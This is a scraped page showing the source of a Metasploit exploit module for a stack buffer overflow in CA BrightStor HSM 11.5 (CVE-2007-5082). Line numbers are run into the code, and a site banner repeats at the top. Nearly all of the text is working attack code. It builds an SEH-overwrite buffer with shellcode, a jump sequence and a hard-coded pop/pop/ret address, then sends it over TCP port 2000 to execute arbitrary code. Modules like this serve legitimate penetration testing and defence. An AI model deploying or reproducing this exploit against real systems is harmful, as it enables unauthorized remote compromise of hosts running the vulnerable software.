Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/hsmserver.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'CA BrightStor HSM Buffer Overflow',14'Description' => %q{15This module exploits one of the multiple stack buffer overflows in Computer Associates BrightStor HSM.16By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.17},18'Author' => [ 'toto' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2007-5082' ],23[ 'OSVDB', '41363' ],24[ 'BID', '25823' ],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30},31'Payload' =>32{33'Space' => 1026,34'BadChars' => "\x00\x0a\x0d;",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40# NX can be bypassed by brute forcing ntdll addresses as the process is restarted41# pop/pop/ret in fpparser.dll (old from 2004)42[ 'BrightStor HSM 11.5 Windows All', { 'Ret' => 0x12014c78 } ],43],44'DisclosureDate' => '2007-09-27',45'DefaultTarget' => 0))4647register_options(48[49Opt::RPORT(2000)50])51end5253def exploit54connect5556data =57[42,7,0,0].pack('VVVV') +58payload.encoded +59"\xeb\x06" +60Rex::Text.rand_text_alphanumeric(2) +61[ target.ret ].pack('V') +62"\xe9\xf1\xfb\xff\xff" +63Rex::Text.rand_text_alphanumeric(0x100)6465sploit = [data.length + 4].pack('V') + data6667print_status("Trying target #{target.name}...")6869sock.put(sploit)70handler71disconnect72end73end747576